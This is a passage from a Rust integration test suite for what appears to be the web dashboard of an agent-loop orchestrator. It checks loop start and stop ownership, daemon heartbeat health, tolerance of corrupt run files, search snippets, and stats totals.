10090 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10091 .expect("run still on disk under this fixture's own home");
10092 assert_eq!(
10093 reloaded_run.status,
10094 RunStatus::Superseded,
10095 "closing the task by hand must relabel the earlier blocked attempt exactly \
10096 like the loop's own settle path does"
10097 );
10098 }
10099
10100 #[tokio::test]
10101 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10102 let f = Fixture::start().await;
10107 let queue = f.queue();
10108 let runs = f.runs();
10109 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10110 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10111
10112 let mut task = Task::new(
10113 "closed with nothing actually landed".to_owned(),
10114 "x".to_owned(),
10115 PathBuf::from("/repo/magi"),
10116 Source::Human,
10117 );
10118 task.runs.push("20260101-000000-dob1".to_owned());
10119 task.runs.push("20260101-000000-dob2".to_owned());
10120 queue.put(&mut task).expect("file the task");
10121
10122 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10123 assert_eq!(done.status, 200, "{}", done.body);
10124
10125 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10126 .expect("run still on disk under this fixture's own home");
10127 assert_eq!(
10128 reloaded_run.status,
10129 RunStatus::Blocked,
10130 "the last recorded attempt never landed, so the earlier one must not be \
10131 relabelled as superseded by it"
10132 );
10133 }
10134
10135 #[tokio::test]
10136 async fn unknown_ids_are_json_not_found_on_both_stores() {
10137 let f = Fixture::start().await;
10138
10139 let run = f.get("/api/runs/nosuchrun").await;
10140 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10141
10142 assert_eq!(run.status, 404);
10143 assert_eq!(task.status, 404);
10144 assert!(
10145 run.json()["error"]
10146 .as_str()
10147 .is_some_and(|e| e.contains("run")),
10148 "the error names what was not found: {}",
10149 run.body
10150 );
10151 assert!(
10152 task.json()["error"]
10153 .as_str()
10154 .is_some_and(|e| e.contains("task")),
10155 "the error names what was not found: {}",
10156 task.body
10157 );
10158 }
10159
10160 #[tokio::test]
10161 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10162 let f = Fixture::start().await;
10163
10164 let missing = f.get("/api/health").await.json();
10165 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10166
10167 write_daemon(
10168 f.home.path(),
10169 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10170 );
10171 let stale = f.get("/api/health").await.json();
10172 assert_eq!(
10173 stale["daemon"]["running"], false,
10174 "a minute without a heartbeat is a dead daemon, not a busy one"
10175 );
10176 assert!(
10177 stale["daemon"]["stale_for_secs"]
10178 .as_i64()
10179 .is_some_and(|s| s >= 55),
10180 "staleness is reported so the UI can say how long: {stale}"
10181 );
10182
10183 write_daemon(f.home.path(), Timestamp::now());
10184 let fresh = f.get("/api/health").await.json();
10185 assert_eq!(fresh["daemon"]["running"], true);
10186 assert_eq!(fresh["daemon"]["idle"], false);
10187 assert_eq!(fresh["daemon"]["pid"], 4242);
10188 assert_eq!(fresh["daemon"]["completed"], 7);
10189 assert_eq!(
10190 fresh["daemon"]["current"][0]["task"],
10191 "20260902-140501-aaaa"
10192 );
10193 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10194 }
10195
10196 #[tokio::test]
10197 async fn the_loop_is_not_running_until_something_starts_it() {
10198 let f = Fixture::start().await;
10199
10200 let view = f.get("/api/loop").await.json();
10201 assert_eq!(view["running"], false);
10202 assert_eq!(
10203 view["owned"], false,
10204 "nobody owns a loop that does not exist: {view}"
10205 );
10206 assert_eq!(view["stopping"], false);
10207 assert_eq!(view["last_error"], Value::Null);
10208 assert_eq!(view["daemon"]["running"], false);
10209 assert_eq!(
10210 view["repo"], "/repo/magi",
10211 "the repository a start would use, named before it is started"
10212 );
10213 }
10214
10215 #[tokio::test]
10216 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10217 let f = Fixture::start().await;
10218
10219 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10220 assert_eq!(res.status, 200, "{}", res.body);
10221 let view = res.json();
10222 assert_eq!(view["running"], true);
10223 assert_eq!(
10224 view["owned"], true,
10225 "the loop the UI started is the UI's own to stop: {view}"
10226 );
10227 assert_eq!(
10228 view["merge"],
10229 Value::Null,
10230 "no override was given, so each repository's own config decides"
10231 );
10232
10233 let health = f.get("/api/health").await.json();
10237 assert_eq!(health["loop"]["running"], true, "{health}");
10238 assert_eq!(health["loop"]["owned"], true, "{health}");
10239
10240 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10241 }
10242
10243 #[tokio::test]
10244 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10245 let f = Fixture::start().await;
10246 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10247 assert_eq!(first.status, 200, "{}", first.body);
10248
10249 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10250 assert_eq!(
10251 again.status, 409,
10252 "two loops on one queue race for the same claims: {}",
10253 again.body
10254 );
10255 assert!(
10256 again.json()["error"]
10257 .as_str()
10258 .is_some_and(|e| e.contains("already running the loop")),
10259 "the refusal has to say why: {}",
10260 again.body
10261 );
10262 assert_eq!(
10263 f.get("/api/loop").await.json()["running"],
10264 true,
10265 "and the loop that was already running is untouched by it"
10266 );
10267
10268 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10269 }
10270
10271 #[tokio::test]
10272 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10273 let f = Fixture::start().await;
10274 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10275
10276 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10277 assert_eq!(
10278 res.status, 200,
10279 "the answer must not wait for the loop: a run in flight is tens of \
10280 minutes and the operator is holding a phone: {}",
10281 res.body
10282 );
10283
10284 let view = settled(&f, |v| v["running"] == false).await;
10285 assert_eq!(view["owned"], false);
10286 assert_eq!(
10287 view["stopping"], false,
10288 "a loop that has stopped is not still stopping: {view}"
10289 );
10290 assert_eq!(
10291 view["last_error"],
10292 Value::Null,
10293 "a loop that was asked to stop did not fail: {view}"
10294 );
10295
10296 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10299 assert_eq!(twice.status, 200, "{}", twice.body);
10300 }
10301
10302 #[tokio::test]
10303 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10304 let f = Fixture::start().await;
10305 write_daemon(f.home.path(), Timestamp::now());
10308
10309 let view = f.get("/api/loop").await.json();
10310 assert_eq!(view["running"], false, "not in this process: {view}");
10311 assert_eq!(view["owned"], false, "and not this process's to control");
10312 assert_eq!(
10313 view["daemon"]["running"], true,
10314 "but a loop is alive somewhere, which is what the UI must say"
10315 );
10316 assert_eq!(view["daemon"]["pid"], 4242);
10317
10318 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10319 let res = f.post("/api/loop", Some(body)).await;
10320 assert_eq!(
10321 res.status, 409,
10322 "neither button may pretend to work on someone else's loop: {}",
10323 res.body
10324 );
10325 assert!(
10326 res.json()["error"]
10327 .as_str()
10328 .is_some_and(|e| e.contains("4242")),
10329 "the refusal has to name the process the operator must go to: {}",
10330 res.body
10331 );
10332 }
10333 assert_eq!(
10334 f.get("/api/loop").await.json()["running"],
10335 false,
10336 "and the refusal started nothing"
10337 );
10338 }
10339
10340 #[tokio::test]
10341 async fn a_stale_status_file_is_not_a_foreign_owner() {
10342 let f = Fixture::start().await;
10343 write_daemon(
10344 f.home.path(),
10345 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10346 );
10347
10348 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10349 assert_eq!(
10350 res.status, 200,
10351 "a daemon killed a minute ago must not lock the loop out of its \
10352 own home for good: {}",
10353 res.body
10354 );
10355 assert_eq!(res.json()["running"], true);
10356
10357 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10358 }
10359
10360 #[tokio::test]
10361 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10362 let f = Fixture::start().await;
10363 let before = f.get("/api/health").await.json()["loop_rev"]
10364 .as_u64()
10365 .expect("a loop revision");
10366
10367 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10368
10369 let after = f.get("/api/health").await.json()["loop_rev"]
10370 .as_u64()
10371 .expect("a loop revision");
10372 assert!(
10373 after > before,
10374 "the loop is in-process state, so this counter is the only thing \
10375 that tells a second device the first one started it: {before} -> \
10376 {after}"
10377 );
10378
10379 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10380 }
10381
10382 #[tokio::test]
10383 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10384 let f = Fixture::with_loop(launch_broken).await;
10385
10386 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10387 assert_eq!(
10388 res.status, 200,
10389 "starting it is not the failure: {}",
10390 res.body
10391 );
10392
10393 let view = settled(&f, |v| v["last_error"].is_string()).await;
10394 assert_eq!(
10395 view["running"], false,
10396 "a loop that died must not read as running, or the operator has \
10397 nothing to press: {view}"
10398 );
10399 assert_eq!(view["owned"], false);
10400 assert!(
10401 view["last_error"]
10402 .as_str()
10403 .is_some_and(|e| e.contains("read-only file system")),
10404 "the phone is where a loop that died at 3am is visible: {view}"
10405 );
10406
10407 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10410 assert_eq!(again.status, 200, "{}", again.body);
10411 assert_eq!(
10412 again.json()["last_error"],
10413 Value::Null,
10414 "a fresh start does not keep showing why the last one died"
10415 );
10416 }
10417
10418 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10430 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10431 let home = TempDir::new().expect("temp home");
10432 let runs = home.path().join("runs");
10433 std::fs::create_dir_all(&runs).expect("runs dir");
10434 let ui = Ui::new(
10435 Queue::at(home.path().join("queue")),
10436 Questions::at(home.path().join("questions")),
10437 Talks::at(home.path().join("talks")),
10438 runs,
10439 home.path().to_path_buf(),
10440 PathBuf::from("/repo/magi"),
10441 )
10442 .with_worktrees_root(home.path().join("wt"))
10443 .with_launch(launch_knocking_on_the_way_out);
10444 let looping = ui.looping();
10445 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10446 .await
10447 .expect("bind loopback");
10448 let addr = listener.local_addr().expect("local addr");
10449 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10450 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10451
10452 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10453 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10454
10455 let bound = std::sync::Mutex::new(None);
10470 hand_over(home.path(), &looping, served, |_| {
10471 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10472 let attempt = loop {
10473 match std::net::TcpListener::bind(addr) {
10474 Ok(l) => {
10475 drop(l);
10476 break Ok(());
10477 }
10478 Err(e)
10479 if e.kind() == std::io::ErrorKind::AddrInUse
10480 && std::time::Instant::now() < deadline =>
10481 {
10482 std::thread::sleep(std::time::Duration::from_millis(10));
10483 }
10484 Err(e) => break Err(e.to_string()),
10485 }
10486 };
10487 *bound.lock().expect("bound") = Some(attempt);
10488 Ok(1)
10489 })
10490 .await
10491 .expect("hand over");
10492
10493 assert_eq!(
10494 *PARK_HEARD.lock().expect("park heard"),
10495 Some(200),
10496 "the deck must answer while the loop is parking"
10497 );
10498 let attempt = bound
10499 .lock()
10500 .expect("bound")
10501 .take()
10502 .expect("the successor was started");
10503 assert!(
10504 attempt.is_ok(),
10505 "and the address must be free by the time it is: {attempt:?}"
10506 );
10507 }
10508
10509 #[tokio::test]
10510 async fn a_newer_daemon_status_file_still_renders() {
10511 let f = Fixture::start().await;
10512 std::fs::write(
10515 f.home.path().join("daemon.json"),
10516 serde_json::json!({
10517 "schema": 2,
10518 "updated_at": Timestamp::now().to_string(),
10519 "idle": true,
10520 "surprise": { "nested": [1, 2, 3] },
10521 })
10522 .to_string(),
10523 )
10524 .expect("write daemon.json");
10525
10526 let health = f.get("/api/health").await;
10527
10528 assert_eq!(health.status, 200);
10529 assert_eq!(health.json()["daemon"]["running"], true);
10530 }
10531
10532 #[tokio::test]
10533 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10534 let f = Fixture::start().await;
10535 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10536 let broken = f.runs().join("20260902-140502-bad");
10537 std::fs::create_dir_all(&broken).expect("run dir");
10538 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10539
10540 let list = f.get("/api/runs").await;
10541 let detail = f.get("/api/runs/20260902-140502-bad").await;
10542
10543 assert_eq!(list.status, 200);
10544 let listed = list.json();
10545 let ids: Vec<&str> = listed
10546 .as_array()
10547 .expect("an array")
10548 .iter()
10549 .map(|r| r["id"].as_str().expect("an id"))
10550 .collect();
10551 assert_eq!(
10552 ids,
10553 vec!["20260902-140501-good"],
10554 "one unreadable run must not cost the operator the whole history"
10555 );
10556 assert_eq!(detail.status, 500);
10557 assert!(
10558 detail.json()["error"]
10559 .as_str()
10560 .is_some_and(|e| e.contains("run.json")),
10561 "the failure names the file to look at: {}",
10562 detail.body
10563 );
10564 let health = f.get("/api/health").await;
10568 assert_eq!(health.json()["runs_unreadable"], 1);
10569 }
10570
10571 #[tokio::test]
10573 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10574 let f = Fixture::start().await;
10575 let runs = f.runs();
10576 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10577 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10578 let path = runs.join("20260902-140502-bbbb").join("run.json");
10581 let mut v: serde_json::Value =
10582 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10583 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10584 std::fs::write(&path, v.to_string()).unwrap();
10585 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10586 std::fs::write(
10587 runs.join("20260902-140503-cccc").join("run.json"),
10588 "{ not json",
10589 )
10590 .unwrap();
10591
10592 let res = f.get("/api/search?scope=runs&q=quokka").await;
10593 assert_eq!(res.status, 200, "{}", res.body);
10594 let v = res.json();
10595 assert_eq!(v["total"], 1, "{v}");
10596 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10597 assert_eq!(v["hits"][0]["field"], "text");
10598 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10599 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10600 assert!(
10601 parts
10602 .iter()
10603 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10604 "{v}"
10605 );
10606 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10607 assert_eq!(
10608 flat, "The Quokka leaks across threads",
10609 "whitespace is collapsed"
10610 );
10611
10612 let both = f
10614 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10615 .await
10616 .json();
10617 assert_eq!(both["total"], 1, "{both}");
10618 let neither = f
10619 .get("/api/search?scope=runs&q=quokka%20zebra")
10620 .await
10621 .json();
10622 assert_eq!(neither["total"], 0, "{neither}");
10623 let stmt = f
10625 .get("/api/search?scope=runs&q=mobile%20first")
10626 .await
10627 .json();
10628 assert_eq!(stmt["total"], 2, "{stmt}");
10629 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10630 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10631 }
10632
10633 #[test]
10634 fn snippet_ignores_terms_longer_than_the_field() {
10635 let terms = ["ok".to_owned(), "elephant".to_owned()];
10636 let parts = snippet_of("ok", &terms);
10637 assert_eq!(
10638 parts,
10639 vec![SnippetPart {
10640 text: "ok".to_owned(),
10641 hit: true
10642 }]
10643 );
10644 }
10645
10646 #[test]
10647 fn snippet_marks_matches_longer_than_the_window() {
10648 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10649 let hit_len = |parts: &[SnippetPart]| -> usize {
10650 parts
10651 .iter()
10652 .filter(|p| p.hit)
10653 .map(|p| p.text.chars().count())
10654 .sum()
10655 };
10656 let total =
10657 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10658
10659 let long = "a".repeat(120);
10660 let parts = snippet_of(&long, std::slice::from_ref(&long));
10661 assert!(hit_len(&parts) > 0, "{parts:?}");
10662 assert!(total(&parts) <= cap);
10663
10664 let ja = "あ".repeat(130);
10665 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10666 assert!(hit_len(&parts) > 0, "{parts:?}");
10667 assert!(total(&parts) <= cap);
10668
10669 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10671 let term = format!("ab{}", "c".repeat(100));
10672 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10673 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10674 assert!(total(&parts) <= cap);
10675
10676 let text = format!("{}z", "a".repeat(119));
10678 let parts = snippet_of(&text, &["a".repeat(120)]);
10679 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10680 }
10681
10682 #[tokio::test]
10683 async fn search_caps_hits_and_snippet_length() {
10684 let f = Fixture::start().await;
10685 let runs = f.runs();
10686 for n in 0..(SEARCH_MAX_HITS + 5) {
10687 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10688 }
10689 let v = f.get("/api/search?scope=runs&q=web").await.json();
10690 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10691 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10692 assert_eq!(v["truncated"], true);
10693 assert!(
10695 v["hits"]
10696 .as_array()
10697 .unwrap()
10698 .iter()
10699 .all(|h| h["run"]["status"] == "merged")
10700 );
10701
10702 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10703 let parts = snippet_of(&long, &["needle".to_owned()]);
10704 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10705 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10706 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10707 }
10708
10709 #[tokio::test]
10710 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10711 let f = Fixture::start().await;
10712 let queue = f.queue();
10713 let mut t = Task::new(
10714 "short title".to_owned(),
10715 "line one\nthe hidden Armadillo detail".to_owned(),
10716 PathBuf::from("/repo/magi"),
10717 Source::Agent {
10718 run: "r1".to_owned(),
10719 node: "chat".to_owned(),
10720 },
10721 );
10722 t.last_error = Some("disk full on /tmp".to_owned());
10723 queue.put(&mut t).expect("file the task");
10724
10725 for (q, want) in [
10726 ("armadillo", 1),
10727 ("disk%20FULL", 1),
10728 ("chat", 1),
10729 ("queued", 1),
10730 ("short%20nothing", 0),
10731 ] {
10732 let v = f
10733 .get(&format!("/api/search?scope=tasks&q={q}"))
10734 .await
10735 .json();
10736 assert_eq!(v["total"], want, "{q}: {v}");
10737 }
10738 for bad in [
10739 "/api/search?scope=tasks&q=",
10740 "/api/search?scope=tasks&q=%20",
10741 "/api/search?scope=chats&q=",
10742 "/api/search?scope=chats&q=%20",
10743 "/api/search?scope=nope&q=a",
10744 "/api/search?q=a",
10745 ] {
10746 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10747 }
10748 }
10749
10750 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10752 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10753 .expect("seat value");
10754 let turns: Vec<serde_json::Value> = turns
10755 .iter()
10756 .map(|(who, body)| {
10757 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10758 })
10759 .collect();
10760 let doc = serde_json::json!({
10761 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10762 "status": status, "turns": turns,
10763 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10764 "seat": seat,
10765 });
10766 let dir = f.home.path().join("talks");
10767 std::fs::create_dir_all(&dir).expect("talks dir");
10768 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10769 }
10770
10771 #[tokio::test]
10772 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10773 let f = Fixture::start().await;
10774 write_talk(
10775 &f,
10776 "20260901-000001-aaaa",
10777 "open",
10778 &[
10779 (
10780 "operator",
10781 "\n Why does the Pangolin cache expire?\nsecond line",
10782 ),
10783 ("agent", "Because the TTL is thirty seconds."),
10784 ],
10785 );
10786 write_talk(
10787 &f,
10788 "20260901-000002-bbbb",
10789 "closed",
10790 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10791 );
10792 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10793
10794 let search = |q: &'static str| {
10795 let f = &f;
10796 async move {
10797 f.get(&format!("/api/search?scope=chats&q={q}"))
10798 .await
10799 .json()
10800 }
10801 };
10802
10803 let v = search("PANGOLIN").await;
10804 assert_eq!(v["scope"], "chats");
10805 assert_eq!(v["total"], 1, "{v}");
10806 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10807 assert_eq!(v["hits"][0]["field"], "title");
10808 assert_eq!(v["unreadable"], 1, "{v}");
10809 let marked: Vec<&str> = v["hits"][0]["snippet"]
10810 .as_array()
10811 .unwrap()
10812 .iter()
10813 .filter(|p| p["hit"] == true)
10814 .map(|p| p["text"].as_str().unwrap())
10815 .collect();
10816 assert_eq!(marked, ["Pangolin"]);
10817
10818 let v = search("zebra").await;
10820 assert_eq!(v["total"], 1, "{v}");
10821 assert_eq!(v["hits"][0]["field"], "agent");
10822 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10824 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10825 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10827 assert_eq!(search(q).await["total"], 0, "{q}");
10828 }
10829 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10831 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10833
10834 let v = f.get("/api/search?scope=nope&q=a").await;
10835 assert_eq!(v.status, 400);
10836 assert!(
10837 v.body.contains("scope must be runs, tasks or chats"),
10838 "{}",
10839 v.body
10840 );
10841 }
10842
10843 #[test]
10844 fn a_question_card_links_a_task_id_to_the_task_page() {
10845 let start = APP_JS
10846 .find("function updateAskCard(")
10847 .expect("updateAskCard exists");
10848 let body = &APP_JS[start..];
10849 let body = &body[..body.find("\n}\n").expect("function end")];
10850 assert!(body.contains("question.run_is_task"));
10851 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10852 assert!(body.contains("`#/runs/${question.run}`"));
10853 assert!(body.contains("\"task\" : \"run\""));
10854 }
10855
10856 #[test]
10857 fn stats_bars_share_one_id_keyed_plan() {
10858 let start = APP_JS
10859 .find("function statsBarRows(")
10860 .expect("statsBarRows exists");
10861 let body = &APP_JS[start..];
10862 let body = &body[..body.find("\n}\n").expect("function end")];
10863 assert!(body.contains("statsBarPlan(rows)"));
10864 assert!(body.contains("statsAgentTone(row.agent)"));
10865 assert!(!body.contains("candTone(i)"));
10866 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
10867 for root in [
10868 "stats-agents-bars",
10869 "stats-reviewers-bars",
10870 "stats-advisors-bars",
10871 ] {
10872 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
10873 }
10874 }
10875
10876 #[test]
10877 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
10878 let start = APP_JS
10879 .find("function renderStatsReviewerScatter(")
10880 .expect("renderStatsReviewerScatter exists");
10881 let body = &APP_JS[start..];
10882 let body = &body[..body.find("\n}\n").expect("function end")];
10883 assert!(body.contains("statsScatterPlan(reviewers)"));
10884 assert!(body.contains("statsAgentTone(d.agent)"));
10885 assert!(APP_JS.contains("function statsScatterPlan("));
10886 assert!(
10887 APP_JS.contains("d.submitted < STATS_LOW_N")
10888 || APP_JS.contains("r.submitted < STATS_LOW_N")
10889 );
10890 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
10891 assert!(APP_CSS.contains(".precision-scatter"));
10892 }
10893
10894 #[test]
10895 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10896 let start = APP_JS
10897 .find("function scheduleSearch(")
10898 .expect("scheduleSearch exists");
10899 let body = &APP_JS[start..];
10900 let body = &body[..body.find("\n}\n").expect("function end")];
10901 assert!(body.contains("s.seq += 1"));
10902 }
10903
10904 #[tokio::test]
10909 async fn stats_runs_unreadable_matches_health() {
10910 let f = Fixture::start().await;
10911 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10912 let broken = f.runs().join("20260902-140502-bad");
10913 std::fs::create_dir_all(&broken).expect("run dir");
10914 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10915
10916 let stats = f.get("/api/stats").await;
10917 let health = f.get("/api/health").await;
10918
10919 assert_eq!(stats.status, 200);
10920 assert_eq!(stats.json()["totals"]["runs"], 1);
10921 assert_eq!(stats.json()["runs_unreadable"], 1);
10922 assert_eq!(
10923 stats.json()["runs_unreadable"],
10924 health.json()["runs_unreadable"],
10925 "the dashboard and /api/health must never disagree about how many \
10926 runs could not be read"
10927 );
10928 }
10929
10930 #[tokio::test]
10931 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10932 let f = Fixture::start().await;
10933 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10934 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10935 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10936
10937 let totals = &f.get("/api/stats").await.json()["totals"];
10938 assert_eq!(totals["runs"], 3);
10939 assert_eq!(totals["merged"], 1);
10940 assert_eq!(totals["stalled"], 1);
10941 assert_eq!(totals["in_progress"], 1);
10942 assert_eq!(totals["blocked"], 0);
10945 assert_eq!(totals["ready"], 0);
10946 }
10947
10948 #[tokio::test]
10949 async fn stats_advisors_report_proposals_and_reflection() {
10950 use crate::advise::{Advice, AdvisorRecord, Reflection};
10951 use crate::verdict::Proposal;
10952
10953 let f = Fixture::start().await;
10954 let mut state = RunState::new(
10955 PathBuf::from("/repo/magi"),
10956 "main".to_owned(),
10957 "0123456789abcdef".to_owned(),
10958 "task".to_owned(),
10959 Config::default(),
10960 );
10961 state.id = "20260902-140501-a".to_owned();
10962 state.status = RunStatus::Merged;
10963 state.advice = Some(Advice {
10964 records: vec![
10965 AdvisorRecord {
10966 seat: "advisor-1".to_owned(),
10967 agent: "alpha".to_owned(),
10968 proposal: Some(Proposal {
10969 approach: "do it".to_owned(),
10970 key_tradeoff: "speed over memory".to_owned(),
10971 risks: Vec::new(),
10972 touches: Vec::new(),
10973 why_not_naive: "breaks under load".to_owned(),
10974 }),
10975 error: None,
10976 duration_ms: 0,
10977 reflection: Reflection::Strong,
10978 },
10979 AdvisorRecord {
10980 seat: "advisor-2".to_owned(),
10981 agent: "alpha".to_owned(),
10982 proposal: None,
10983 error: Some("timed out".to_owned()),
10984 duration_ms: 0,
10985 reflection: Reflection::Absent,
10986 },
10987 ],
10988 synthesis: Some("blended brief".to_owned()),
10989 });
10990 let dir = f.runs().join(&state.id);
10991 std::fs::create_dir_all(&dir).expect("run dir");
10992 std::fs::write(
10993 dir.join("run.json"),
10994 serde_json::to_string_pretty(&state).expect("serialize run"),
10995 )
10996 .expect("write run.json");
10997
10998 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10999 let alpha = advisors
11000 .as_array()
11001 .expect("an array")
11002 .iter()
11003 .find(|a| a["agent"] == "alpha")
11004 .expect("alpha row");
11005 assert_eq!(alpha["seated"], 2);
11006 assert_eq!(alpha["proposed"], 1);
11007 assert_eq!(alpha["absent"], 1);
11008 assert_eq!(alpha["strong"], 1);
11009 assert_eq!(alpha["faint"], 0);
11010 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11011 }
11012
11013 #[tokio::test]
11014 async fn stats_release_bumps_split_clean_from_attention() {
11015 use crate::run::ReleaseBump;
11016
11017 let f = Fixture::start().await;
11018
11019 let mut clean = RunState::new(
11020 PathBuf::from("/repo/magi"),
11021 "main".to_owned(),
11022 "0123456789abcdef".to_owned(),
11023 "task".to_owned(),
11024 Config::default(),
11025 );
11026 clean.id = "20260902-140501-a".to_owned();
11027 clean.status = RunStatus::Merged;
11028 clean.release_bump = Some(ReleaseBump {
11029 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11030 version: Some("1.0.0".to_owned()),
11031 automerge_enabled: true,
11032 merged_directly: false,
11033 local: false,
11034 release: None,
11035 problem: None,
11036 action_required: None,
11037 });
11038
11039 let mut blocked = RunState::new(
11040 PathBuf::from("/repo/magi"),
11041 "main".to_owned(),
11042 "0123456789abcdef".to_owned(),
11043 "task".to_owned(),
11044 Config::default(),
11045 );
11046 blocked.id = "20260902-140502-b".to_owned();
11047 blocked.status = RunStatus::Merged;
11048 blocked.release_bump = Some(ReleaseBump {
11049 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11050 version: Some("1.0.1".to_owned()),
11051 automerge_enabled: false,
11052 merged_directly: false,
11053 local: false,
11054 release: None,
11055 problem: Some("checks red".to_owned()),
11056 action_required: Some("look at the PR".to_owned()),
11057 });
11058
11059 for state in [&clean, &blocked] {
11060 let dir = f.runs().join(&state.id);
11061 std::fs::create_dir_all(&dir).expect("run dir");
11062 std::fs::write(
11063 dir.join("run.json"),
11064 serde_json::to_string_pretty(state).expect("serialize run"),
11065 )
11066 .expect("write run.json");
11067 }
11068
